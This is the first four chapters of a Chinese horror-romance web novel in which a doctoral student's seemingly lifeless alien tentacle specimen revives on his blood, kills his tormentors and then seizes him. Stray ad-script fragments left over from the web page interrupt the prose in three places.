《被触手实验体当成食物了》 1. 第 1 章 星元纪年4202年,首都大学。 邻近毕业季,实验室内人影憧憧,生物学院的学生们各自忙碌着自己的硕博课题。 空气里弥漫着一股消毒水与化学试剂混杂的味道,偶尔响起玻片碰撞的沉闷声响,移动的白大褂身影跟墙面一如雪色,晃得人眼睛发晕。 最后一排角落里坐着一个身影,正目不转睛地盯着面前的光脑屏幕。 男生很瘦,在其他学生身上恰到好处的白大褂,穿在他身上时肩线都垂到了手臂,像是一团硬生生裹着他的厚布似的。 深蓝的背景色上不断吐出一排又一排白色的粗体文字。 [实验数据返回中……] [实验名称:K-13星球采集样本生命体测试] [样本生物成分:水、无机盐……] …… 男生带着些许血丝的双眼一眨不眨地跟随着屏幕上持续更新的文字,略显苍白的面庞在屏幕光的映照下,显得更加病弱了些许。 直到最后一行文字弹出,他猛地挺直了背脊。 但在看清文字内容后,又像是泄了气的皮球一般,缓缓低下了头。 [测试结果:对照组及实验组1、2、3内有机体样本均未产生明显生命活动迹象……] “哟,我们陆学弟的实验数据出来了,让我们这些小人物看看怎么样呗?” 一个明显带着嘲弄意味的声音响起,陆禾压在台面上的拳头狠狠捏紧了一瞬。 张朗抱着胳膊绕到陆禾台后,扫了一眼被对方立刻关掉的生物测试报告,微眯着的小眼睛精准地捕捉到了最后一行。 随即他毫不压抑的声音传遍了整个实验室。 “又是没有生命迹象啊,啧啧,我就说这个什么K-13星球采集回来的生命体样本做不出什么东西吧。” “不然首都生化研究院怎么可能放着好东西自己不研究,下放到我们学校的研究室给博士生当玩具呢。” “不是我说,陆学弟啊,想做前沿是好,但心也别太高了。” 张朗说完,得意地看了一眼被自己的话刺激到拳头都在颤抖的陆禾,伸手拍了拍他清瘦的肩头。 手掌没收力道,生生把人拍得往下矮了一瞬,差点趴在桌面上。 张朗冲着其他人招呼道:“走了,吃饭去咯。” 实验室的同学们接二连三地离开,很快,偌大的实验室里就只剩下陆禾一人与满屋的化学试剂和器械作伴。 将桌面上贴有标签的样本丢进废弃垃圾桶里,陆禾在自己的位置上坐了良久。 他从自己的样本柜里,取出一只巴掌大的培养皿。 将巴掌大的培养皿小心翼翼地放置到面前的桌子上,内里盛着的东西终于露出了全貌。 那是一段长得十分像章鱼腕足的肢体。 现在人类高速发展的科技空前繁盛,目前的航天造物水平,足以让人类去到各种远类地行星进行深度探索。 而寻找地球外生命体,一直是人类科学家亘古久远的渴望和追求。 四个月前,某艘星舰从一颗距离地球219亿光年,命名为K-13的远类地行星返航。 但星舰里原本应该在的星战队队员却不知所踪,储物仓里所有的食物也都消耗完毕,唯一在其中剩下的,就是放在一只盘子上的章鱼腕足。 经过首都生化研究院的科学家认定,这只“章鱼腕足”正是来自K-13星球的有机体,而且很有可能是生命体。 但在经过几个月的研究后,首都科学院判定这只“章鱼腕足”并没有展现出生命活力,也没有什么继续研究的价值。 随着科技发展,从各种类地行星里找到各种“类生命体”这样的事情早已屡见不鲜,科学家们也早已不是那些在火星上探测到一点水就能激动半天的愣头青。 像这样被他们研究过一轮觉得没什么价值的东西,都会打包送到首都大学的实验室里,给象牙塔里这些没见过世面的硕士博士生们拿去捣鼓,说不定也能搞出些什么犄角旮旯的成果,发篇边角料期刊或者论文,混个毕业。 算是废物利用。 所以这东西就辗转到了陆禾手里。 但陆禾也是没得选。 他所有比较突出的科研成果都被拿走给了混日子的师兄师姐,其中甚至包括刚刚出言嘲讽他的张朗。 陆禾不是没想过反抗,但毕业资格拿捏在导师手里,甚至连生活费都要导师介绍兼职工作来赚取才能勉强果腹的他,根本没有与对方博弈的空间和筹码。 临近毕业,这只章鱼腕足是他最后的希望。 如果能做出前沿领域的成果,再以此发一篇顶刊,他的学术生涯一定会大不相同。 陆禾看着面前的章鱼腕足,那东西呈现出淡淡晶莹的黑紫色,像是块饱满的宝石。 陆禾因为熬夜设计实验方案二布满血丝的眼睛里,流露出痛苦和茫然。 怎么就……没有生命迹象呢。 从拿到这一根“章鱼腕足”开始,他用尽了各种方式做样本实验。 常见的酸、碱、盐,各种各样的气体环境模拟,从高压到真空,从酷热到严寒……他每次都会切除一部分的样本来做实验反应,但不论他用什么办法,最终的实验结果都和今天呈现出来的一样。 [……未产生明显生命活动迹象] 但离奇的是,被陆禾切了这么多次的“章鱼腕足”,迄今为止,和他拿到手的时候相比,并没有什么两样。 因为他切掉的部分,永远会在第二天重新长回来。 一个会自我修复和生长的章鱼腕足。 ……却检测不出生命迹象。 是他的问题吗? “心别太高了……” 张朗带着嘲弄的声线再一次在脑海当中回响。 一整个月在章鱼腕足上的的白费精力,临近毕业的科研高压,导师的不公,同门的嘲笑……现实的种种,让陆禾的理智游走在失控边缘。 他抬手用力捶了一下桌面。 却没注意到台上有一只倒下的试管。 玻璃碎片迸发开,尖锐的边端划破了陆禾的手,鲜血流了下来。 被那过分扎眼的鲜红刺激到了神经,手掌上传来的尖锐疼痛,让他失控的理智稍稍回笼。 陆禾拿了几块无菌棉压在自己的手掌上,按压止血。 沉默良久,他起身低着头走出了实验室,直到背影消失在夕阳中,他的半张脸都始终藏在阴影里。 可以说,陆禾走得很急。 所以他错过了实验室里,那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被他落在台面上忘记放回保温箱里的“章鱼腕足”,在一如过往来到实验室的一个月里那般安静了许久后,居然轻轻地动了一下。 触手尖端向前延伸。 将他不慎溅入培养皿的那滴鲜血,悄悄吞没了。 与此同时,一个鬼鬼祟祟的身影推开实验室的后门,朝陆禾的实验台蹑手蹑脚地靠近过来…… * 回到学校分配的单间,头顶传来刺耳的桌椅拖曳和粗鲁的踩踏声。 对此早已熟悉甚至麻木的陆禾,避开手上简单处理过的伤口,小心翼翼地洗完了一个澡。 手掌仍在隐隐作痛,为了分散自己的注意力,陆禾决定看看书。 首都大学给博士生都分了单间宿舍,但并没有想象的那么好,房子是拿原本的四室大平层隔出来的。 楼梯质量很差,墙薄的像纸糊的。不管是水流过管道,还是隔壁吵架,甚至一些黏腻暧昧的声响,都逃不过上下左右的耳朵。 陆禾的楼上住了一对中年男女,非常吵,每天拖曳桌子椅子从来不消停。 平日里他已经习惯了,但不知道是受伤了还是心情不好的缘故,今天的陆禾怎么也静不下心来。 当然也有可能因为今天的楼上格外吵,他听到了蹦迪的音乐声,和陌生而繁杂的脚步。 他放下了手里的书,想上楼去沟通一下。 “嫌吵就去别墅住啊,住什么分配房啊!没有少爷命全是少爷病!”烫着炸毛卷的中年大妈对着陆禾破口大骂了一顿,摔上了房门。 陆禾无奈地回到楼下,恰好遇到隔壁一个风流的同校邻居。 他依稀记得刚刚隔壁传来另外一个男生高亢的尖叫。 “他们是这样的。”男生抽着事后烟,眼睛盯着陆禾格外漂亮的眉眼看,“或者你找个室友搬出去合租呗。” 说着,男生格外有暗示意味地挑了挑眉。 他观察陆禾很久了,这人生得漂亮,又白又瘦,是他喜欢的那类受方,这两年来陆禾都是独来独往,没见和谁同进同出过,想必是单身。 男生伸手去够陆禾的肩膀,但被后者躲开了。 陆禾没说什么,进了房间。 门外叼着烟的男生眯着眼睛,盯着从另一侧传来反锁咔哒声的门板上下扫视了许久。 他用手指拨了拨松垮垮的门锁,轻笑了一声,转身回了自己那间房。 很快,一阵黏腻的噪音加入了楼上传来的蹦迪声。 在这样吵闹不止的环境里,陆禾皱着眉头,不太安稳地睡着了。 直到第二天他揉着眼睛进了实验室,一个研二的学妹很着急地拉着他问:“陆学长,你昨晚走的时候看到张朗了吗?” 他面色焦急,看似十分不安。 陆禾摇了摇头,刚想问他一句出了什么事。 试验室的门再度被打开,另一个跑出去打探消息的同门学弟面色发白地走了进来。 在其他同门的追问下,他嘴唇发着抖,说出来四个字。 “张朗死了……” 与此同时,余光瞥到自己实验台上的陆禾冲出人群,面色同样惨白地一阵翻箱倒柜。 他望着桌面上空荡荡的培养皿,不得已接受了一个事实。 他的实验体不见了。 2. 第 2 章 “陆学长,你怎么了?” 声音从身后传来,是刚刚那个问陆禾有没有看到张朗的学妹。 陆禾应激一般地藏起了桌面上的培养皿,他调整了一下表情,回过头。 “没,没什么。”陆禾表情不自然地道,“……哦,我刚以为我实验数据没保存。” 学妹啊了一声,担心地道:“所以保存了吗?” 陆禾点了点头,道:“嗯,保存了。” “那就好。”学妹摸了摸心口,对于科研人来说,忘记保存实验数据真的能让心脏骤停。 陆禾看了一眼不远处围着那报信的学弟叽叽喳喳的人群,他问那女生道:“姜荷,张朗他究竟怎么了?” 姜荷告诉陆禾说,昨天他们一帮人一起去吃饭的时候,张朗突然说他有个实验样本忘了收,就调头回来了一趟。 但在那之后一直到今天早上,不管是当时一起吃饭的男生,还是张朗的邻居,都说再没有看到过他。 而今天早上,警方在顶层的洗手间里找到了张朗的尸骨。 “听说他死得好惨啊,只剩骨头了……” “不止呢,还有一些黏糊糊的东西,不知道是脑浆子还是血浆,反正糊成一团了。” “我草,这么恐怖,是遇到了野兽吗?” “别乱猜了,警方还在查,等通报吧。” 他们每说一句,陆禾的唇就多抿一分。 姜荷转过头的时候,陆禾拿起一旁的杯子,喝了一口昨天剩下的水。 “陆学长,你昨晚不是留下来了吗。”姜荷问了一句,“你没遇到张学长吗?” 陆禾连忙摇头,“你们昨天离开后,我很快也走了。” “原来如此。”姜荷点点头,也没在这个问题上多纠缠。 两人不约而同地沉默了稍许。 “陆学长,你那个K-13星的生命体实验进度怎么样了啊,需要我帮忙……” “不用!” 姜荷眨眨眼,看着突然紧张起来的陆禾。 “没,没事的。”陆禾扯了扯嘴角,露出一个有些僵硬的笑容,“我的实验结果不怎么好,你们也知道的。” 他顿了顿,道:“所以我可能会放弃吧。” 姜荷垂了垂眼睛。 “没关系的陆学长,毕业的方法很多,不用太灰心。” 陆禾又艰难地挑了挑唇角,“嗯,我知道的,谢谢你。” 姜荷走后,陆禾几近脱力地栽倒回自己的座位上。 张朗的死,和他的消失的实验体有关吗? 张朗死了,他一直以来表现得像死物一样的实验体就失踪了。 陆禾打心底里不愿意将二者联系起来,但一种诡异的直觉让他控制不住地产生联想。 他视线缓慢地旁移,余光看了一眼人群,确认他们全然没有注意自己这边,才悄悄地伸手,把刚刚藏起的培养皿拿了出来。 培养液暴露在实验室的干燥环境下,一夜过去应该已经干涸,但日光顺着窗台照进来,陆禾看到里面有一些亮晶晶的东西。 他映着光,发现那是一层黏液。 “……黏糊糊的东西……混成一团了……” 人群方才讨论时说的话,再一次回响并冲击了陆禾的脑海。 他猛地起身,走到水池边开始清洗培养皿。 ☆ 今天陆禾少见地踩点离开了实验室,碰到他的同门还有好奇问了一句走这么早的。 他也不想,但实验体莫名失踪,留在实验室里也无事可做。 但一出门,陆禾却碰到了来调查张朗死亡事件的警方。 “同学,听说你是昨天最后一个离开实验室的,我们想和你了解一下情况。”警察出示了一下证件,和陆禾说道。 陆禾缓慢而沉重地点了点头。 他和警方交代了实情——他走的时候比较急,并没有看到张朗。 “好的,我们了解了。”警察道。 陆禾:“警察先生……” “嗯?” 沉默良久,陆禾摇摇头,“没什么,我只是想说…你们办案辛苦了。” 年轻高大的警官小哥笑了笑,“应该的,为人民服务。” 陆禾本来想说自己的实验体也丢了,想问问警察能不能帮忙找找。 在早上发现之后,他不是没想过查监控甚至是报警,但是张朗死后监控早就被查了一轮了,结果就是监控文件莫名丢失且无法复原,没有任何结果。 二来,陆禾也怕警方把张朗的死亡和他实验体的失踪联系起来。 陆禾不想给自己惹麻烦。 回到宿舍的时候,陆禾带着一身的冷汗窝进沙发上,有一种劫后余生的脱力感。 但很快他就被新的苦恼纠缠住:实验体丢了,导师问起来他该怎么说? 他的博士论文,又该换什么新的选题? 还有……张朗的死,真的和他那失踪了的实验体有关吗? 他有一点轻微的偏头痛,在读博之后因为压力更大,症状日益严重。 这也影响到了胃,作为情绪器官,陆禾的胃似乎并不太能体谅他这个身体主人的情绪,很容易疼——尤其他今天还忘记吃晚饭。 本就白得不太健康的脸色,在这一刻甚至趋近于没有光泽的黯白,陆禾捂着腹部从沙发上站起来,拿着杯子想去接点水吃药。 但拧开水龙头,却没见有水出来。 停水了? 纤长苍白的手指压在水龙头打开的阀门上,陆禾满头的冷汗已经密集得快要低落下来。 他闭了闭眼睛,甚至无法分辨自己面前一团晕眩是否是大脑产生的幻觉。 在楼上再度传来砰砰砰的噪音的时候,陆禾第一次拉开窗户,带着几分在他脸上少见的怒意,声线有些发虚但足够大声地道:“你们能不能安静一点。” 楼上的确安静了一瞬。 但接踵而来的是报复性的噪音和骂声,甚至过了一会儿还有人开窗往陆禾的房间里破了一盆黑乎乎的水,幸好被玻璃窗户挡住了。 陆禾回到沙发上躺着,因为胃部的疼痛导致他出了一身的冷汗,有些口渴,但只能舔舔唇稍作缓解。 压力、晕眩、疼痛、干渴……在他迷迷糊糊半梦半醒之间,楼上的噪音似乎突然停下了。 取而代之的似乎是一阵奇怪的咯吱咯吱声,像是咀嚼,中间又像混杂了什么别的闷哼。 是隔壁的渣男又带了床伴回来吗? 就不能开个酒店吗……陆禾想着想着,睡着了。 他再度醒来的时候,夜已经深了。 陆禾是被水池里“咚”的一声吵醒的,他睁开惺忪的睡颜,听见了一阵哗啦啦的水声。 陆禾拿着杯子走过去装了一杯水,一口气喝了个干干净净,又装了半杯,才没什么力气地把忘记关上的水阀拧好。 看了一眼时间,意外地发现时间并没有他想象的那么晚,只是凌晨一点。 平常楼上都要吵到三四点的,今天倒是显得“格外安静”。 陆禾趁着这片难得的安静,回到自己的小床上,用软被盖好肚子,又扯了一点被角挡住耳朵。 他伸手抱过床头的熊猫团子抱枕。 这是他之前在学院周年庆活动抽奖时抽中的,一等奖。陆禾难得运气那么好,所以很喜欢这个熊猫团子。 将团子压在已经舒缓了不少的胃上,预料中的噪音并没有从天花板上响起,很快,陆禾就睡了过去。 这一觉睡得格外沉。 似乎还做了一个梦。 一个有些绚烂旖旎,却又光怪陆离的梦。 陆禾梦见自己好像掉进了一个泡泡里,躺着的床变成了软乎乎的肉感,面前一圈紫红色的光雾,雾气里还飘荡着许多星子。 他惬意地躺在柔软的床上,枕着脑袋看着头顶雾气蒙蒙的星空。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但看着看着,他突然觉得身上有些发紧。 陆禾低头一看,发现被子卷在他身上了,但当他伸手去想要解开时,缠着腰的被子像有了生命,不仅越收越紧,还有缠上他脖子的趋势。 本盖在他耳朵上的被角,甚至要往他嘴巴里钻! 这是什么东西! “铃——” 陆禾猛地睁开眼,被窗外的阳光刺了一下。 他从床上坐了起来,腰间传来的牵扯感让他下意识地垂首看了一眼。 被子还真缠他腰上了。 难怪梦里会觉得勒。 这一觉前前后后加起来睡了十几个小时,陆禾觉得前所未有的轻松,他揉着眼睛把半掩的窗帘拉开,感受了一下沐浴在身上的阳光。 抖了抖身上拆下来的被子,在椅子上摊开被面让太阳晒晒。 陆禾看了看四周。 他抱起落在地上的熊猫团子,让它坐在被子上,跟着一起晒太阳。 团子被压得有点扁了,陆禾伸手拍了拍熊猫的肚皮,让它重新变得蓬松圆润。 布置好这一切,陆禾摸着脖子去洗手间洗漱。 一边刷了满口的泡沫,陆禾一边搓自己的脖颈。 是有蚊子吗,怎么这么痒? 他终于看了一眼镜子里自己的倒影,意外地发现自己的颈侧和衣领的交界处,有一片淡淡的红.痕。 红.痕深浅交错,深的像是什么东西咬出来的,浅的像是摩擦导致的。 被子勒的?陆禾回忆起刚起床的时候,缠在身上的被子。 他皮肤比较敏感,一搓就红,再加上肤色很白,哪怕只是一点颜色都显得很夸张。 一会上点药吧。 漱干净口里的泡沫,陆禾洗了把脸,一边擦干,他一边发现颈侧的红.痕似乎有往下的趋势。 于是陆禾把上衣脱了下来。 白的晃眼。 也因此让身上的痕迹愈发触目惊心。 浅红交错着深紫,像是缠着身体的绸缎,沿着一丝赘肉也没有的纤腰一路盘旋到瘦薄的背脊,再攀上颈侧。 陆禾清瘦,因此那本身不算细的红.痕显得更加张牙舞爪,像是在雪白的画纸上嚣张地涂上了一抹红。 刺目、惊人,而又无端有几分让人移不开眼睛的艳色。 被子能勒成这样吗…… 陆禾还没想明白,一道扎得人耳膜发疼的尖叫声划破了清晨的安静。 声音,似乎是从楼上传来的。 一直到陆禾套好衣服上了楼,那尖叫声还没有停下的趋势。 不知道声音的主人究竟看到了怎样可怖的场景,能叫成这样。 楼上那间合租房的大门口已经聚集了一群人,窜头窜脑地往里边看,时而爆发出一阵细碎的讨论。 陆禾扯了扯领口,没等他遮挡好脖颈上的印记,发现现场的女生满脸惊恐地被警察带着从人群里挤了出来。 她撑着墙,在陆禾身旁的垃圾桶里吐了起来。 但陆禾却没有看她一眼。 因为此时,他正望着因人群分开而露出来的,房子里的真相一角。 是楼上那对吵闹不止的中年夫妻。 也死了。 两具挂满碎肉的骨架散乱地支在地上,呈溅射状的血迹布满了墙体和地面,天花板上更是多得数不清的暗红斑点——一如陆禾昨晚梦里闪烁的星空。 一人的掌骨甚至插·到了另一人的肋骨缝隙里,而骨架上,似乎还挂着除了血肉以外的,其他的什么。 陆禾打了个哆嗦。 “听说他死得好惨啊,只剩骨头了……” “不止呢,还有一些黏糊糊的东西,不知道是脑浆子还是血浆,反正糊成一团了……” “是野兽吗,还是别的什么……” 昨天听说张朗死讯后同学们的讨论,在这一刻再度回响。 并与眼前的死亡现场,完美融合。 3. 第 3 章 “诶,那不是楼上的小帅哥吗?是不是叫陆禾来着。” “人家是生化学院系草…诶陆同学,楼上……你怎么了?” “他脸色不太对啊。” 陆禾扶着墙壁夺路而逃,一路回到自己的房间,趴在洗手的水池边干呕。 胃里一阵翻江倒海,腹中像是痉挛了一般不停抽搐,但是陆禾从昨天中午到现在就没吃过东西,因此什么也吐不出来。 一只手掌轻轻拍了拍他的肩头,陆禾猛地回身。 “是我。”来人笑着举起了手,示意陆禾不要紧张。 是隔壁的那个男生。 “杜景恒。”陆禾依稀记得他的名字,“……你来干什么?” “没什么。”杜景恒意味不明地笑了一下,“就,来看看你,你不舒服吗?” 对于陆禾能记住自己,杜景恒表现出了极大的意外和兴趣,他细长而浅淡的眉毛轻轻挑了一下,维持着举手无害的动作,好整以暇地打量着面前的男生。 男生清瘦,一如他过往的印象,一件纯白的旧T恤当做睡衣套在身上,虽然因为洗得多了有些变形宽大,但却显得身量更加纤细。 此时的陆禾像只受了惊吓的猫一般,微微弓着背,一双眼睛睁得溜圆。 他刚干呕完,脸色苍白如纸,却衬得小脸愈发尖俏,令人不禁遐想,一只成年男人的手就呢轻而易举地把他的脸蛋掐在掌心里。 而且……杜景恒的眼神落在陆禾颈侧。 “这……” 陆禾立刻捂住了脖子。 杜景恒被人推出门外,望着面前被重重砸上的房门,他仍旧噙着笑意,看着自己的手臂。 刚刚陆禾赶他出来的时候,抓到了他的胳膊。 肌肤相触,他清晰分明地感受到了那只手的指腹有多么细腻。 他又想到刚刚在陆禾脖子上看到的那些痕迹……作为一个在身体上非常开放的人,杜景恒非常清楚那些痕迹是怎么留下的。 呼吸不自觉变得粗了一点,杜景恒伸手拨弄了一下陆禾房间摇晃松动,甚至有些岌岌可危的门把手。 “不,还是不行……” 他看了一眼过道上的监控,往自己的房间走去。 走道有监控,他想做什么事情都会被拍下来。 不过,他和陆禾房间的窗户,好像是正对着吧?一步就能踏过去。 想到这,杜景恒脸上的笑容更大了一点。 一门之隔的房间里,把门反扣好的陆禾又一次趴回了水池边。 胃里的恶心感好不容易平复下来,他的眼眶里都已经布满了生.理性的泪水,眼圈泛着淡红,纤长的睫毛挂着几颗水珠。 松松垮垮的领口遮不住锁骨,更挡不住上面那些粉红甚至深紫的痕迹,可以窥见无遗。 陆禾正打算漱漱口缓解一下嗓子眼里火辣辣的感觉,但刚用手背抹掉眼前的模糊,视线逐渐凝视,身体瞬间就僵硬了下来。 洗手台里有一滩透明的液体。 那明显不是水,因为质感看上去有些黏稠。 一滩似水非水,上面还有一层亮晶晶的东西。 他见过这东西。 昨天早上,在他的培养皿里。 陆禾记忆回笼,像是一把刀扎进了大脑里。 扎得他彻底没了气血,脸色比他刚刚直面楼上的尸体还要惨白。 怪不得,怪不得昨晚突然变得那么安静…… 脚步在这一瞬间变得虚浮,陆禾跌跌撞撞地出了洗手间门。 张朗死了,楼上两夫妻也死了。 他们的死法几乎完全一致,离奇诡异里带着十足的恐怖。 而且最关键的是,张朗死的时候,陆禾的实验体没了,留下了一滩亮晶晶的黏液;而楼上两夫妻死后,相同的液体再一次出现在了陆禾的家里。 不行,他要离开! 陆禾开始迅速地打包东西,一边拨打起他唯一一个朋友的通讯,想问问能不能先去对方家里的沙发上借住一宿。 但漫长的嘟嘟声后,对方并没有接通。 陆禾又开始看学校周边的快捷酒店,或者有没有空余的可以出租的房子。 虽然手头情况并不乐观,但钱和命哪个重要,陆禾还是有数的。 陆禾一边查找信息,一边收拾好了他本就不多的物品。 将熊猫团子紧紧抱在怀里,勉强索取到了一点安全感,虽说窗外清晨万里无云,阳光依旧正好,但陆禾只觉得身上遍布寒意,像是永不休止的潮水一般,一阵一阵地打在背上。 张朗死了,楼上死了,拿东西现在在哪,会不会还在他的家里。 陆禾的手指都在颤抖,滑动屏幕的动作都有些不利索了。 那个东西不是明明没有生命体征吗,怎么又有了呢。 为什么,为什么会是他呢…… 陆禾一边寻找着新的安身之所,一边不时抬起头看周围一眼。他一双眼睛蓄满了紧张,目光都有些发直了,不停地扫视着房间的四周。 滴答。 滴答…… 漏水了? 陆禾无暇多想,他刚刚看到一间比较合适的房子。 虽然价格比开始的预算略高,但陆禾之前做兼职存下来了一笔应急费用,对付一段时间不成问题。 呼叫中介留下的通讯号码,这一次,对面很快就接听了。 陆禾瞬间感觉自己抓住了一根救命稻草,他忙不迭道:“你好,我要租房!” 对面传来一阵含糊的食物咀嚼声,不加掩饰和躲避,听得陆禾不禁想起昨天晚上半梦半醒之间听见的楼上的声音,下意识地皱起眉头。 过了一会,正在吃早饭的中介把嘴里的食物咽下。 “租哪里。”中介挑着牙齿问。 陆禾报了他看中的那套房。 中介:“那套租出去了。” 陆禾:“……价格近似的也行。” 中介朝身旁的小弟使了个眼色,后者心领神会,在旁边道:“诶李哥,刚又有个学生说要来租首都大学附近的单间,房源不是没剩几间了吗。” 李哥咧嘴一笑,竖了个大拇指。 开玩笑,陆禾这样的愣头青,上来就说要租房,一听就是没经验,不懂市场行情,好拿捏的菜鸟,不宰他宰谁。 果不其然,小弟说完后便是一阵良久的沉默。 最终,对面的陆禾几乎是从牙缝里挤出来一句,“我,我可以加钱……” “行啊,什么时候看房。” “现在!” 现在?这么急吗。 “行吧。”看在钱的面子上,李哥也不想多难为这个学生仔,他看了一眼手表,“那我帮你约房东,一会在哪里见面?” “……” “喂?喂!” 但当李哥意识到通讯对面已经很久没人说话了的时候,他再看自己的界面,才发现,通话早已在不知道什么时候,被人挂断了。 刚不还急的很吗,怎么说挂就挂? 李哥再打过去,却并没有人接通了。 …… 首都大学的博士生宿舍楼内,相比起死了一对中年夫妇那层楼里的喧闹嘈杂,一层之隔的楼下,却安静得落针可闻。 老旧的落伍款通讯设备砸落在地上,屏幕上布满了蛛网状的裂纹,放在平日里陆禾可能已经要开始心疼了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但现在,他只是直挺挺地站在原地,抬起头,看着头顶上的天花板。 ……看着天花板上趴着的,一大片触手。 滴答滴答的声音再次响起。 触手上的黏液,接连不断落在陆禾的脚边。 身体的求生本能比大脑的反应更快,陆禾连四肢的直觉都还没有找回来,就已经开始转身向外跑。 但没跑出去两步,一股大力就圈上了他的腰。 陆禾整个人几乎是倒栽进了床上,不算柔软的床垫震得他纤薄的胸口生疼。 他却无暇去多加感受。 因为触手钻进他衣服里去了! 现在的“祂”早跟一两天前的模样大相径庭,当时还只是一小截章鱼腕足模样的实验体,现在已经变成了三条将近陆禾小臂粗的触手。 而且这三条触手的力道极大,陆禾又瘦弱,他根本无法将触手控制住,更毋论将祂赶离自己的身体。 “走开!走开!!啊……唔!” 恐惧的尖叫瞬间只剩下有些闷的哼声,三条触手不多,但足以各司其职。 祂的身体紧贴在陆禾的背脊上,一条向下勾住陆禾的腰,一条控制住陆禾力气较大的右手,而最后一条则向上钻出领口,圈住了陆禾纤细的脖颈。 在这一刻,陆禾终于意识到今天早上他洗漱时在镜子里发现的身上的痕迹,究竟是怎么来的。 触手上带着黏液,冰冷粘腻,但却意外地并不难闻,甚至有些淡淡的甜香,只是被恐惧冲散掉了。 陆禾的左手抓着缠绕着脖子的触手想要弄下来,但二者的力气根本不在一个层次。借着黏液的润·滑,触手越收越紧,空气渐渐变得稀薄,陆禾脸上的苍白,渐渐被缺氧而导致的鲜红所取代。 他无法再发出声音,抗争的左手随着缺氧而脱力,垂落在床铺上。 五指下意识地蜷缩,将床单抓出一团皱褶。 仅存的力气只足以支撑陆禾张开嘴,他的舌尖失控地吐出一点,颤抖着,想要再捕捉一点赖以生存的空气。 要……死了吗…… 彼此之间的紧贴,让他清楚地感受到了触手上的肌肉在一阵一阵地起伏,甚至上方数不清的大小吸盘随着他的呼吸和脉搏舒张收缩,留下勒·痕之外的,颜色更深的红印。 因为缺氧,陆禾此刻的感官格外清晰。 他清楚地感知到吸盘里猛地传来一阵刺痛,扎破了他颈侧的皮肤,许多道细小的热流顺着伤口往外流淌,被那触手上的吸盘缓慢吞噬。 祂在吸血。 的血。 陆禾绝望地想,别人发现他尸体的时候,他会不会,也变成张朗他们那样呢…… 泪水顺着秀气的脸庞滑落。 滴在正禁锢着陆禾吸血的触手上。 触手的起伏停止了一瞬。 下一秒,颈侧桎梏的力道松开了不少,但缺氧过久的陆禾只觉得眼前一片光斑晃动个不停,世界像是套了一层万花筒的滤镜,他几乎什么也看不清。 冰冰凉凉的触感贴上了脸侧,像是一只温柔的手,替他擦拭掉了掉落的泪珠。 是死前的幻觉吗……陆禾想。 在彻底晕过去之前,陆禾的视线恰好扫到床头柜上摆着的那杯喝剩下一半的水。 从水中的倒影里,他看见了自己模糊的身影。 雪白的脖颈被勒出了清晰分明的一圈红印,而吸盘留下的印记颜色更加深刻而清晰,像是有人给他套上了一只过分紧的项圈,内侧一整圈铆钉长期挤压皮肤。 而在项圈拆下来后,依旧留下了独有的印记。 那是一种,粗暴却又艳丽的美。 陆禾彻底昏迷了过去。 4. 第 4 章 陆禾有一个很特殊的习惯:他有压力的时候,就会做梦,千奇百怪的梦。 而当他压力超过阈值的时候,他梦里的内容就会开始变得非常统一。 那种让他非常羞耻,但又非常能纾解的梦。 这一次,陆禾梦到了一双结实有力的手臂。 修长的拇指各占据了他的一只腰窝,指腹按压着凹陷,蜜色和雪白形成了鲜明的颜色对比,泾渭分明。 但那双手却有些凉,轻轻流连过陆禾的背脊,肩头,锁骨时,总会带起一阵轻微的颤栗。 陆禾却非常喜欢这种感觉。 意识逐渐沉沦,而身体却开始升起。 陆禾开始有些目光迷离,直到双手的虎口在了他的颈侧,合握成一个圈。 陆禾微微一愣。 玩这么大吗? 下一秒,那双肌肉线条漂亮有型的蜜色手臂,变成了深紫色的,有着无数吸盘和黏液的腕足触手。 “啊!!!” 陆禾猛地从床上坐了起来,大口大口地呼吸着,双手下意识地在身上四处摸了一圈。 ……没有触手。 他刚松了一口气。 下一秒,就又把刚落下去的心脏提回了嗓子眼。 一个紫黑色的,像是章鱼的软体生物,从天花板上缓缓地滑落了下来。 外面天色已经半暗,看着差不多是傍晚,陆禾这一昏迷就是大半天。 博士的课程不像本硕那样有规划,基本上全靠自觉,陆禾今天没去实验室,也没人会觉得有什么意外。 而就在他昏迷的这差不多十个小时里,祂的身上,长出了第四条触手。 此时此刻,祂一根触手紧紧地粘在在天花板上,倒吊着延长了身体,带着其余三根触手,一起朝陆禾这边靠近过来。 陆禾觉得自己快不能呼吸了,他看着那逐渐靠近的深紫色腕足,余光看到自己手臂上的勒·痕和吸盘印记,瞬间想起了昏迷之前那种窒息接近死亡时,心底由内而生的恐惧。 他手脚并用地踩着本就乱糟糟的床单往后退,不小心摸到上面留下的黏液,还触电一般地缩回了手。 但退路终究有限。 当后背抵上冰冷的墙壁时,陆禾的心底笼罩上了一层灰霾般的阴影。 他抓过一旁的被子挡住身体,又拿过手边的枕头。 最后甚至把熊猫团子抱进了怀里,死死地抵在胸前,陆禾额头抵着膝盖缩成一团,连看也不敢看贴到他面前的那几根触手。 深紫色的触手向前延伸,两根腕足绕过陆禾到了他背后,一高一矮地立起,像是两头伺机而动的野兽。 而剩下的一根腕足则拱起,尖端朝紧闭着双眼浑身发抖的陆禾靠近过去。 腕足的尖端轻轻触碰了一下陆禾额前的发丝,引起一阵颤栗。 陆禾虽然闭着眼睛,但却能清楚地感知到那腕足正在自己的脸侧移来移去,他甚至能听到腕足上的黏液咕叽咕叽的声响。 一些捕食者,尤其是猫科动物,在进食之前会嗅来嗅去,还有玩弄猎物的习惯。 他清晰地感知到腕足碰了碰他的额头,又碰了碰耳朵,还有下巴。 陆禾直接被吓哭了。 他以为自己很快就要死了,大脑开始跑马灯似地回忆起过去。 他承认自己一直以来都胆子很小,虽然考上了首都大学一路读到博士,但依旧没有给他增长多少信心。 一个无父无母的孤儿,曾经被收养过但还不如没有,这些年来他靠救济金长大,一直到大学才开始找兼职养活自己,和周围那些家境非富即贵的同学们没得比,也铸就了他比较安静胆小的性格。 但为什么,这些倒霉的事情偏偏是他呢…… “呜,呜呜……” 陆禾觉得反正也要死了,索性哭个够吧,把所有的委屈都发泄出来。 但等他哭干了眼泪,终于把这些天甚至是这些年的各种压力都发泄了个够,却意外地发现。 他好像还没死。 “唔!” 